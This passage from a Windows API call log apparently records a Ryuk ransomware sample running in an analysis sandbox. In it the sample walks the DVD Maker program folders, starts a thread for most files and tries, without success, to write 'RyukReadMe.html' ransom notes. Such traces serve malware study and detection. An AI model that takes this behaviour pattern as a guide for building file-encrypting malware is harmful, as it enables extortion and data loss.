	[0179.075] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa325be30, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa325be30, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0179.075] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbb40ed0, ftCreationTime.dwHighDateTime=0x1d59400, ftLastAccessTime.dwLowDateTime=0xa9267b50, ftLastAccessTime.dwHighDateTime=0x1d53e68, ftLastWriteTime.dwLowDateTime=0xa9267b50, ftLastWriteTime.dwHighDateTime=0x1d53e68, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x40, dwReserved1=0x0, cFileName="absolutetelnet.exe", cAlternateFileName="ABSOLU~1.EXE")) returned 1
	[0179.075] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x40, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1
	[0179.075] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0179.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c
	[0179.077] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.078] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x40, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1
	[0179.078] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0179.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994
	[0179.080] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.081] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cb166c0, ftCreationTime.dwHighDateTime=0x1d56df1, ftLastAccessTime.dwLowDateTime=0xa01b39f0, ftLastAccessTime.dwHighDateTime=0x1d53f9a, ftLastWriteTime.dwLowDateTime=0xa01b39f0, ftLastWriteTime.dwHighDateTime=0x1d53f9a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x40, dwReserved1=0x0, cFileName="creditservice.exe", cAlternateFileName="CREDIT~1.EXE")) returned 1
	[0179.081] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x40, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1
	[0179.081] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0179.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970
	[0179.083] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.084] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x40, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1
	[0179.084] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0179.084] SetLastError (dwErrCode=0x0) 
	[0179.084] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.085] GetLastError () returned 0x5
	[0179.085] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0179.085] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.085] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x54, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0179.086] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x54, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0179.086] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x54, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1
	[0179.086] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x54, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1
	[0179.086] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x54, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1
	[0179.086] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x54, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0
	[0179.087] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0179.087] SetLastError (dwErrCode=0x0) 
	[0179.087] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.087] GetLastError () returned 0x5
	[0179.087] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0179.087] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.088] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x40, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1
	[0179.088] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0179.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968
	[0179.584] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.585] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x40, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1
	[0179.585] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0179.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988
	[0179.588] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.588] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x40, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1
	[0179.588] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0179.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978
	[0179.591] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.591] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x40, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1
	[0179.591] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x40, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1
	[0179.592] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x40, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1
	[0179.592] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x40, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1
	[0179.592] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x40, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1
	[0179.592] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0179.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974
	[0179.594] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.595] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x40, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1
	[0179.595] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0179.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c
	[0179.598] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.599] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x40, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1
	[0179.599] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0179.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984
	[0179.602] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.602] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1
	[0179.603] SetLastError (dwErrCode=0x0) 
	[0179.603] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.388] GetLastError () returned 0x5
	[0223.388] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0223.388] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x54, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0223.389] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x54, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0223.389] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x54, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1
	[0223.389] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2770000
	[0223.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec
	[0223.862] VirtualFree (lpAddress=0x2770000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.105] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x54, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1
	[0224.105] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc
	[0224.183] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.184] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x54, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1
	[0224.184] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980
	[0224.185] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.186] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x54, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1
	[0224.186] SetLastError (dwErrCode=0x0) 
	[0224.186] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.186] GetLastError () returned 0x5
	[0224.186] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0224.187] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c7b0
